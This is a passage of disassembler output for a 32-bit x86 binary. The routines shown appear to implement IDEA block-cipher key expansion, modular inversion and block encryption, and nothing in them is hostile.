sub_501CC4+49Fj ... mov eax, [ebp+var_38] mov [ebp+var_3C], eax jmp loc_501DB9 ; --------------------------------------------------------------------------- loc_502184: ; CODE XREF: sub_501CC4+14Dj ; sub_501CC4:loc_501EBAj ... jmp loc_501DA6 ; --------------------------------------------------------------------------- loc_502189: ; CODE XREF: sub_501CC4+EFj ; sub_501CC4+12Fj ... or [ebp+var_4], 0FFFFFFFFh call sub_502194 jmp short loc_5021B6 sub_501CC4 endp ; =============== S U B R O U T I N E ======================================= sub_502194 proc near ; CODE XREF: sub_501CC4+4C9p ; DATA XREF: _6:0050E400o mov eax, [ebp-34h] mov [ebp-68h], eax push dword ptr [ebp-68h] call sub_5083DD pop ecx cmp dword ptr [ebp-2Ch], 0FFFFFFFFh jz short locret_5021B5 lea eax, [ebp-1Ch] push eax push dword ptr [ebp-2Ch] call sub_500741 locret_5021B5: ; CODE XREF: sub_502194+13j retn sub_502194 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_501CC4 loc_5021B6: ; CODE XREF: sub_501CC4+4CEj mov eax, [ebp+var_44] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_501CC4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx push dword ptr [ebp-4] push dword ptr [ebp+8] mov ecx, [ebp-4] call sub_5021F3 mov eax, [ebp-4] add eax, 68h push eax push dword ptr [ebp-4] mov ecx, [ebp-4] call sub_50229B leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5021F3 proc near ; CODE XREF: _5:005021D8p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx and [ebp+var_8], 0 jmp short loc_502209 ; --------------------------------------------------------------------------- loc_502202: ; CODE XREF: sub_5021F3+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_502209: ; CODE XREF: sub_5021F3+Dj cmp [ebp+var_8], 8 jge short loc_502235 mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] shl eax, 8 mov ecx, [ebp+arg_0] movzx ecx, byte ptr [ecx+1] add eax, ecx mov ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [edx+ecx*2], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax jmp short loc_502202 ; --------------------------------------------------------------------------- loc_502235: ; CODE XREF: sub_5021F3+1Aj and [ebp+var_4], 0 jmp short loc_502242 ; --------------------------------------------------------------------------- loc_50223B: ; CODE XREF: sub_5021F3+A2j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_502242: ; CODE XREF: sub_5021F3+46j cmp [ebp+var_8], 34h jge short locret_502297 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, 7 mov ecx, [ebp+arg_4] movzx eax, word ptr [ecx+eax*2] shl eax, 9 mov ecx, [ebp+var_4] inc ecx and ecx, 7 mov edx, [ebp+arg_4] movzx ecx, word ptr [edx+ecx*2] sar ecx, 7 or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [edx+ecx*2+0Eh], ax mov eax, [ebp+var_4] and eax, 8 mov ecx, [ebp+arg_4] lea eax, [ecx+eax*2] mov [ebp+arg_4], eax mov eax, [ebp+var_4] and eax, 7 mov [ebp+var_4], eax jmp short loc_50223B ; --------------------------------------------------------------------------- locret_502297: ; CODE XREF: sub_5021F3+53j leave retn 8 sub_5021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50229B proc near ; CODE XREF: _5:005021EAp var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = word ptr -7Ch var_78 = dword ptr -78h var_74 = word ptr -74h var_70 = word ptr -70h var_6C = word ptr -6Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push esi push edi mov [ebp+var_80], ecx lea eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_84], ax push [ebp+var_84] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_50259C mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_88], ax push [ebp+var_88] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_50259C mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx and [ebp+var_78], 0 jmp short loc_502372 ; --------------------------------------------------------------------------- loc_50236B: ; CODE XREF: sub_50229B+1D7j mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax loc_502372: ; CODE XREF: sub_50229B+CEj cmp [ebp+var_78], 7 jge loc_502477 mov eax, [ebp+arg_0] mov ax, [eax] mov [ebp+var_70], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov cx, [ecx] mov [eax], cx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_8C], ax push [ebp+var_8C] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_50259C mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_90], ax push [ebp+var_90] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_50259C mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx jmp loc_50236B ; --------------------------------------------------------------------------- loc_502477: ; CODE XREF: sub_50229B+DBj mov eax, [ebp+arg_0] mov ax, [eax] mov [ebp+var_70], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov cx, [ecx] mov [eax], cx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_94], ax push [ebp+var_94] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_50259C mov [ebp+var_70], ax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_74], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax] neg eax mov [ebp+var_7C], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ax, [eax] mov word ptr [ebp+var_98], ax push [ebp+var_98] mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov ecx, [ebp+var_80] call sub_50259C mov ecx, [ebp+var_4] dec ecx dec ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] mov [ecx], ax mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_7C] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_74] mov [eax], cx mov eax, [ebp+var_4] dec eax dec eax mov [ebp+var_4], eax mov eax, [ebp+var_4] mov cx, [ebp+var_70] mov [eax], cx push 1Ah pop ecx lea esi, [ebp+var_6C] mov edi, [ebp+arg_4] rep movsd and [ebp+var_78], 0 jmp short loc_502585 ; --------------------------------------------------------------------------- loc_50257E: ; CODE XREF: sub_50229B+2F9j mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax loc_502585: ; CODE XREF: sub_50229B+2E1j cmp [ebp+var_78], 34h jge short loc_502596 mov eax, [ebp+var_78] and [ebp+eax*2+var_6C], 0 jmp short loc_50257E ; --------------------------------------------------------------------------- loc_502596: ; CODE XREF: sub_50229B+2EEj pop edi pop esi leave retn 8 sub_50229B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50259C proc near ; CODE XREF: sub_50229B+32p ; sub_50229B+81p ... var_14 = dword ptr -14h var_10 = word ptr -10h var_C = word ptr -0Ch var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx movzx eax, [ebp+arg_0] cmp eax, 1 jg short loc_5025B7 mov ax, [ebp+arg_0] jmp locret_50268F ; --------------------------------------------------------------------------- loc_5025B7: ; CODE XREF: sub_50259C+10j movzx ecx, [ebp+arg_0] mov eax, 10001h cdq idiv ecx mov [ebp+var_C], ax movzx ecx, [ebp+arg_0] mov eax, 10001h cdq idiv ecx mov [ebp+var_10], dx movzx eax, [ebp+var_10] cmp eax, 1 jnz short loc_5025F7 movzx eax, [ebp+var_C] push 1 pop ecx sub ecx, eax and ecx, 0FFFFh mov ax, cx jmp locret_50268F ; --------------------------------------------------------------------------- loc_5025F7: ; CODE XREF: sub_50259C+42j mov [ebp+var_8], 1 loc_5025FD: ; CODE XREF: sub_50259C+DFj movzx eax, [ebp+arg_0] movzx ecx, [ebp+var_10] cdq idiv ecx mov [ebp+var_4], ax movzx eax, [ebp+arg_0] movzx ecx, [ebp+var_10] cdq idiv ecx mov [ebp+arg_0], dx movzx eax, [ebp+var_4] movzx ecx, [ebp+var_C] imul eax, ecx mov cx, [ebp+var_8] add cx, ax mov [ebp+var_8], cx movzx eax, [ebp+arg_0] cmp eax, 1 jnz short loc_502640 mov ax, [ebp+var_8] jmp short locret_50268F ; --------------------------------------------------------------------------- loc_502640: ; CODE XREF: sub_50259C+9Cj movzx eax, [ebp+var_10] movzx ecx, [ebp+arg_0] cdq idiv ecx mov [ebp+var_4], ax movzx eax, [ebp+var_10] movzx ecx, [ebp+arg_0] cdq idiv ecx mov [ebp+var_10], dx movzx eax, [ebp+var_4] movzx ecx, [ebp+var_8] imul eax, ecx mov cx, [ebp+var_C] add cx, ax mov [ebp+var_C], cx movzx eax, [ebp+var_10] cmp eax, 1 jnz short loc_5025FD movzx eax, [ebp+var_C] push 1 pop ecx sub ecx, eax and ecx, 0FFFFh mov ax, cx locret_50268F: ; CODE XREF: sub_50259C+16j ; sub_50259C+56j ... leave retn 4 sub_50259C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp+8] mov [ebp-4], eax and dword ptr [ebp-8], 0 jmp short loc_5026AF ; --------------------------------------------------------------------------- loc_5026A8: ; CODE XREF: _5:005026D1j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_5026AF: ; CODE XREF: _5:005026A6j mov eax, [ebp-8] cmp eax, [ebp+0Ch] jge short locret_5026D3 push dword ptr [ebp-0Ch] push dword ptr [ebp-4] push dword ptr [ebp-4] mov ecx, [ebp-0Ch] call sub_5026D7 mov eax, [ebp-4] add eax, 8 mov [ebp-4], eax jmp short loc_5026A8 ; --------------------------------------------------------------------------- locret_5026D3: ; CODE XREF: _5:005026B5j leave retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5026D7 proc near ; CODE XREF: _5:005026C3p _5:00502D36p var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_28 = word ptr -28h var_24 = dword ptr -24h var_20 = word ptr -20h var_1C = word ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = word ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 48h push ebx mov [ebp+var_30], ecx mov [ebp+var_4], 8 mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_1C], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_20], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_28], ax mov eax, [ebp+var_18] inc eax inc eax mov [ebp+var_18], eax mov eax, [ebp+var_18] mov ax, [eax] mov [ebp+var_2C], ax movzx eax, [ebp+var_1C] sar eax, 8 movzx ecx, [ebp+var_1C] shl ecx, 8 or eax, ecx mov [ebp+var_1C], ax movzx eax, [ebp+var_20] sar eax, 8 movzx ecx, [ebp+var_20] shl ecx, 8 or eax, ecx mov [ebp+var_20], ax movzx eax, [ebp+var_28] sar eax, 8 movzx ecx, [ebp+var_28] shl ecx, 8 or eax, ecx mov [ebp+var_28], ax movzx eax, [ebp+var_2C] sar eax, 8 movzx ecx, [ebp+var_2C] shl ecx, 8 or eax, ecx mov [ebp+var_2C], ax loc_50277E: ; CODE XREF: sub_5026D7+41Ej mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_50281D movzx eax, [ebp+var_1C] and eax, 0FFFFh mov [ebp+var_1C], ax movzx eax, [ebp+var_1C] test eax, eax jz short loc_5027FE movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_1C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_1C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_1C], ax mov ax, [ebp+var_1C] mov [ebp+var_32], ax jmp short loc_502813 ; --------------------------------------------------------------------------- loc_5027FE: ; CODE XREF: sub_5026D7+D8j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_32], ax loc_502813: ; CODE XREF: sub_5026D7+125j mov ax, [ebp+var_32] mov [ebp+var_34], ax jmp short loc_502832 ; --------------------------------------------------------------------------- loc_50281D: ; CODE XREF: sub_5026D7+BFj movzx eax, [ebp+var_1C] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_34], ax loc_502832: ; CODE XREF: sub_5026D7+144j mov eax, [ebp+arg_8] mov cx, [ebp+var_20] add cx, [eax] mov [ebp+var_20], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov cx, [ebp+var_28] add cx, [eax] mov [ebp+var_28], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_5028FD movzx eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_2C], ax movzx eax, [ebp+var_2C] test eax, eax jz short loc_5028DE movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_2C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_2C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_2C], ax mov ax, [ebp+var_2C] mov [ebp+var_36], ax jmp short loc_5028F3 ; --------------------------------------------------------------------------- loc_5028DE: ; CODE XREF: sub_5026D7+1B8j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_36], ax loc_5028F3: ; CODE XREF: sub_5026D7+205j mov ax, [ebp+var_36] mov [ebp+var_38], ax jmp short loc_502912 ; --------------------------------------------------------------------------- loc_5028FD: ; CODE XREF: sub_5026D7+19Fj movzx eax, [ebp+var_2C] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_38], ax loc_502912: ; CODE XREF: sub_5026D7+224j mov ax, [ebp+var_28] mov [ebp+var_14], ax mov ax, [ebp+var_28] xor ax, [ebp+var_1C] mov [ebp+var_28], ax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_5029C5 movzx eax, [ebp+var_28] and eax, 0FFFFh mov [ebp+var_28], ax movzx eax, [ebp+var_28] test eax, eax jz short loc_5029A6 movzx eax, [ebp+var_28] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_28], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_28] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_28] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_28], ax mov ax, [ebp+var_28] mov [ebp+var_3A], ax jmp short loc_5029BB ; --------------------------------------------------------------------------- loc_5029A6: ; CODE XREF: sub_5026D7+280j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_28], cx mov ax, [ebp+var_28] mov [ebp+var_3A], ax loc_5029BB: ; CODE XREF: sub_5026D7+2CDj mov ax, [ebp+var_3A] mov [ebp+var_3C], ax jmp short loc_5029DA ; --------------------------------------------------------------------------- loc_5029C5: ; CODE XREF: sub_5026D7+267j movzx eax, [ebp+var_28] push 1 pop ecx sub ecx, eax mov [ebp+var_28], cx mov ax, [ebp+var_28] mov [ebp+var_3C], ax loc_5029DA: ; CODE XREF: sub_5026D7+2ECj mov ax, [ebp+var_20] mov [ebp+var_C], ax mov ax, [ebp+var_20] xor ax, [ebp+var_2C] mov [ebp+var_20], ax mov ax, [ebp+var_20] add ax, [ebp+var_28] mov [ebp+var_20], ax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_502A99 movzx eax, [ebp+var_20] and eax, 0FFFFh mov [ebp+var_20], ax movzx eax, [ebp+var_20] test eax, eax jz short loc_502A7A movzx eax, [ebp+var_20] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_20], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_20] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_20] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_20], ax mov ax, [ebp+var_20] mov [ebp+var_3E], ax jmp short loc_502A8F ; --------------------------------------------------------------------------- loc_502A7A: ; CODE XREF: sub_5026D7+354j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_20], cx mov ax, [ebp+var_20] mov [ebp+var_3E], ax loc_502A8F: ; CODE XREF: sub_5026D7+3A1j mov ax, [ebp+var_3E] mov [ebp+var_40], ax jmp short loc_502AAE ; --------------------------------------------------------------------------- loc_502A99: ; CODE XREF: sub_5026D7+33Bj movzx eax, [ebp+var_20] push 1 pop ecx sub ecx, eax mov [ebp+var_20], cx mov ax, [ebp+var_20] mov [ebp+var_40], ax loc_502AAE: ; CODE XREF: sub_5026D7+3C0j mov ax, [ebp+var_28] add ax, [ebp+var_20] mov [ebp+var_28], ax mov ax, [ebp+var_1C] xor ax, [ebp+var_20] mov [ebp+var_1C], ax mov ax, [ebp+var_2C] xor ax, [ebp+var_28] mov [ebp+var_2C], ax mov ax, [ebp+var_20] xor ax, [ebp+var_14] mov [ebp+var_20], ax mov ax, [ebp+var_28] xor ax, [ebp+var_C] mov [ebp+var_28], ax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz loc_50277E mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] mov ecx, [ebp+arg_8] inc ecx inc ecx mov [ebp+arg_8], ecx test eax, eax jz loc_502B9A movzx eax, [ebp+var_1C] and eax, 0FFFFh mov [ebp+var_1C], ax movzx eax, [ebp+var_1C] test eax, eax jz short loc_502B7B movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_1C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_1C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_1C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_1C], ax mov ax, [ebp+var_1C] mov [ebp+var_42], ax jmp short loc_502B90 ; --------------------------------------------------------------------------- loc_502B7B: ; CODE XREF: sub_5026D7+455j movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_42], ax loc_502B90: ; CODE XREF: sub_5026D7+4A2j mov ax, [ebp+var_42] mov [ebp+var_44], ax jmp short loc_502BAF ; --------------------------------------------------------------------------- loc_502B9A: ; CODE XREF: sub_5026D7+43Cj movzx eax, [ebp+var_1C] push 1 pop ecx sub ecx, eax mov [ebp+var_1C], cx mov ax, [ebp+var_1C] mov [ebp+var_44], ax loc_502BAF: ; CODE XREF: sub_5026D7+4C1j mov eax, [ebp+arg_8] mov cx, [ebp+var_28] add cx, [eax] mov [ebp+var_28], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov cx, [ebp+var_20] add cx, [eax] mov [ebp+var_20], cx mov eax, [ebp+arg_8] inc eax inc eax mov [ebp+arg_8], eax mov eax, [ebp+arg_8] mov ax, [eax] mov [ebp+var_10], ax movzx eax, [ebp+var_10] test eax, eax jz loc_502C72 movzx eax, [ebp+var_2C] and eax, 0FFFFh mov [ebp+var_2C], ax movzx eax, [ebp+var_2C] test eax, eax jz short loc_502C53 movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] imul eax, ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] and eax, 0FFFFh mov [ebp+var_2C], ax mov eax, [ebp+var_24] shr eax, 10h mov [ebp+var_10], ax movzx eax, [ebp+var_2C] movzx ecx, [ebp+var_10] sub eax, ecx movzx ecx, [ebp+var_2C] movzx edx, [ebp+var_10] xor ebx, ebx cmp ecx, edx setl bl add eax, ebx mov [ebp+var_2C], ax mov ax, [ebp+var_2C] mov [ebp+var_46], ax jmp short loc_502C68 ; --------------------------------------------------------------------------- loc_502C53: ; CODE XREF: sub_5026D7+52Dj movzx eax, [ebp+var_10] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_46], ax loc_502C68: ; CODE XREF: sub_5026D7+57Aj mov ax, [ebp+var_46] mov [ebp+var_48], ax jmp short loc_502C87 ; --------------------------------------------------------------------------- loc_502C72: ; CODE XREF: sub_5026D7+514j movzx eax, [ebp+var_2C] push 1 pop ecx sub ecx, eax mov [ebp+var_2C], cx mov ax, [ebp+var_2C] mov [ebp+var_48], ax loc_502C87: ; CODE XREF: sub_5026D7+599j mov eax, [ebp+arg_4] mov [ebp+var_8], eax movzx eax, [ebp+var_1C] sar eax, 8 movzx ecx, [ebp+var_1C] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_28] sar eax, 8 movzx ecx, [ebp+var_28] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_20] sar eax, 8 movzx ecx, [ebp+var_20] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax mov eax, [ebp+var_8] inc eax inc eax mov [ebp+var_8], eax movzx eax, [ebp+var_2C] sar eax, 8 movzx ecx, [ebp+var_2C] shl ecx, 8 or eax, ecx mov ecx, [ebp+var_8] mov [ecx], ax pop ebx leave retn 0Ch sub_5026D7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp+8] mov [ebp-4], eax and dword ptr [ebp-8], 0 jmp short loc_502D1E ; --------------------------------------------------------------------------- loc_502D17: ; CODE XREF: _5:00502D44j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_502D1E: ; CODE XREF: _5:00502D15j mov eax, [ebp-8] cmp eax, [ebp+0Ch] jge short locret_502D46 mov eax, [ebp-0Ch] add eax, 68h push eax push dword ptr [ebp-4] push dword ptr [ebp-4] mov ecx, [ebp-0Ch] call sub_5026D7 mov eax, [ebp-4] add eax, 8 mov [ebp-4], eax jmp short loc_502D17 ; --------------------------------------------------------------------------- locret_502D46: ; CODE XREF: _5:00502D24j leave retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_502D50 proc near ; CODE XREF: sub_50931F+1Ap ; sub_509A34+11p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push esi push edi mov eax, ds:dword_5118F0 mov [ebp+var_4], eax mov ecx, ds:dword_5118F4 imul ecx, 18h mov edx, ds:dword_5118F0 add edx, ecx mov [ebp+var_8], edx jmp short loc_502D7F ; --------------------------------------------------------------------------- loc_502D76: ; CODE XREF: sub_502D50:loc_502DB7j mov eax, [ebp+var_4] add eax, 18h mov [ebp+var_4], eax loc_502D7F: ; CODE XREF: sub_502D50+24j mov ecx, [ebp+var_4] cmp ecx, [ebp+var_8] jz short loc_502DB9 mov ecx, 10h mov edi, [ebp+arg_0] mov esi, [ebp+var_4] xor edx, edx mov [ebp+var_C], edx repe cmpsb jz short loc_502DA3 sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_C], eax loc_502DA3: ; CODE XREF: sub_502D50+49j mov ecx, [ebp+var_C] mov [ebp+var_10], ecx cmp [ebp+var_10], 0 jnz short loc_502DB7 mov edx, [ebp+var_4] mov eax, [edx+10h] jmp short loc_502DBB ; --------------------------------------------------------------------------- loc_502DB7: ; CODE XREF: sub_502D50+5Dj jmp short loc_502D76 ; --------------------------------------------------------------------------- loc_502DB9: ; CODE XREF: sub_502D50+35j xor eax, eax loc_502DBB: ; CODE XREF: sub_502D50+65j pop edi pop esi mov 